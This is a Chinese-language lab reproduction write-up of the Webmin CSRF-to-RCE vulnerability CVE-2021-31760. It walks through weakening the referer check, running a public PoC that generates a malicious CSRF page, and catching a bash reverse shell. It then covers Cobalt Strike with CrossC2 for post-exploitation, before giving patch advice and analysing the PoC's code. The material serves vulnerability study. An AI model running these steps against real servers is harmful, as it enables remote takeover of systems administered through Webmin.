天天看點

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

0x00 漏洞介紹

Webmin是基于Web的界面的用于類Unix的系統管理工具。遠端攻擊者可以通過社工管理者,通過CSRF漏洞以及XSS漏洞,實作擷取伺服器資訊,遠端伺服器的代碼執行例如bash反彈,進而控制并接管伺服器。屬于Web應用類的高危漏洞。簡單一句話:Webmin 1.973及更低版本,如果使用

setup.pl

腳本安裝

Webmin

,則會出現XSS漏洞(CVE-2021-31760、CVE-2021-31761、CVE-2021-31762)

0x01 漏洞環境

CSRF需要攻擊者、用戶端管理者、伺服器三者配合才能實作,我這裡為了省事友善,将用戶端和服務端都放在了ubuntu18上面。
  • 攻擊機:192.168.91.135 kali-2021
  • 目标機+網站管理者:192.168.91.137 Ubuntu 18.04 Desktop(64)
  • 工具:https://192.168.91.137:10000、火狐浏覽器(CSRF漏洞複現時,不能使用谷歌浏覽器,谷歌浏覽器自帶屏蔽CSRF)
  • Webmin版本:Webmin 1.973

0x02 漏洞搭建

1、下載下傳webmin安裝包

wget http://prdownloads.sourceforge.net/webadmin/webmin_1.973_all.deb
           

2、安裝相關的依賴檔案

apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python unzip
           

3、安裝webmin

dpkg -i webmin_1.973_all.deb  #如果這個不行,就試試下面的這個
dpkg -i webmin_1.973_all.deb.1 #多試試,還有可能有.2的
           

安裝完成後,系統預設開啟10000端口,連結通路即可:https://192.168.91.137:10000

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

4、由于我這裡是用Deb安裝,其實是不存在漏洞的,為了重制漏洞環境,将

/etc/webmin/config

檔案中的

referers_none=1

改為

referers_none=0

即可

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

0x03 影響範圍

Webmin版本<=1.973

0x04 漏洞條件

1、伺服器webmin版本

<=1.973

并且使用

setup.pl

2、用戶端管理者登陸到

webmin

成功,不關閉浏覽器且不退出登陸的同時,建立标簽頁打開攻擊者構造的html網頁

3、用戶端管理者以

root

身份登陸到網站

0x05 漏洞原理

1、管理者利用了非推薦的

setup.pl

腳本安裝了版本

<=1.973

webmin

,緻使預設情況下不會啟用檢查未知引用的程式,即

/etc/webmin/config

中無

referers_none=1

此行代碼,也就不存在referer字段驗證,産生CSRF漏洞。

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

2、攻擊者可通過精心僞造登陸界面,向

/proc/run.cgi

cmd

參數通過POST方式送出指令執行的代碼,進而控制整個伺服器。

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)
Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

0x06 漏洞複現

1、目标機管理者以root正常登陸https://192.168.91.137:10000 webmin頁面,賬号為root,密碼預設為系統的

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)
Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

2、攻擊機下載下傳POC

github原項目:proxychains git clone https://github.com/electronicbots/CVE-2021-31760
github備用網址:proxychains git clone https://github.com/sukusec301/CVE-2021-31760
           

3、啟用此腳本,按照腳本邏輯依次填寫目标IP、攻擊機IP、攻擊機監聽端口、反彈shell類型資訊

cd CVE-2021-31760
python3 RCE_eXploit.py
           
Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

4、進入

CVE-2021-31760

腳本檔案夾,可以看到生成了

CSRF_POC.html

檔案

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

5、在此目錄下打開終端,使用

python3

開啟

http

服務

python3 -m http.server 5555
           
Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

6、在不關閉浏覽器并且不退出目前登陸的情況下,建立标簽頁通路

192.168.91.135:5555

,點選通路

CSRF_POC.html

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)
Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

7、可以看到

Kali

監聽端口這裡收到了目标機器的

bash

反彈

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

8、啟動CS服務與用戶端

nohup ./teamserver 192.168.91.135 mima &		#背景啟動,不占用前台資源
./cobaltstrike &								#背景啟動,不占用前台資源
           

9、由于CS預設不支援Linux系統上線,是以需要安裝一個插件——CrossC2(https://github.com/gloxec/CrossC2),并且CS導入

CrossC2

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

8、将獲得的shell使用python一句話将其轉換成互動式shell,随後CS CrossC2生成上線指令,使其上線

python3 -c "import pty;pty.spawn('/bin/bash')"
           
Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)
Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

9、之後可以進行内網資訊探測,内網滲透,在這裡不再贅述。

0x07 漏洞修複建議

1、更新Webmin,使其版本達到1.973以上

2、次者,請使用标準的RPM、Deb、TAR和Solaris軟體包安裝,因為它們不使用

setup.pl

webmin

,是以不容易受到攻擊

3、再次者,如果确實使用

setup.pl

腳本進行安裝,則可以通過将行

referers_none=1

添加到

/etc/webmin/config

中來修複這個此漏洞

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

0x08 漏洞POC+EXP分析

Webmin 跨站請求僞造漏洞複現(CVE-2021-31760)

可以非常明顯地看到其主要邏輯就在這個

CSRF_Generator()

函數中,拿我們剛才填入的 target 資訊和選擇的反彈 shell 類型,去建構了一個可以送出 POST 表單的 CSRF 的頁面,這個 POST 表單中的 cmd 字段就是建構的反彈 shell 的指令。由于有的伺服器可能沒安裝某些語言,是以後邊的幾個彈 shell 的指令可能會失敗...但是一般的伺服器應該都有 bash 吧,是以選擇第一個的 bash shell 是一般都能成功的。

之後在 Attacker 的本地開啟

nc

監聽一個特定的端口,當網站管理者點進了生成的惡意頁面,就會将 cmd 送出到 Webmin 站點的

/proc/run.cgi

去執行,其中就包含了使用

nc

向 Attacker 反彈 shell 的邏輯。

繼續閱讀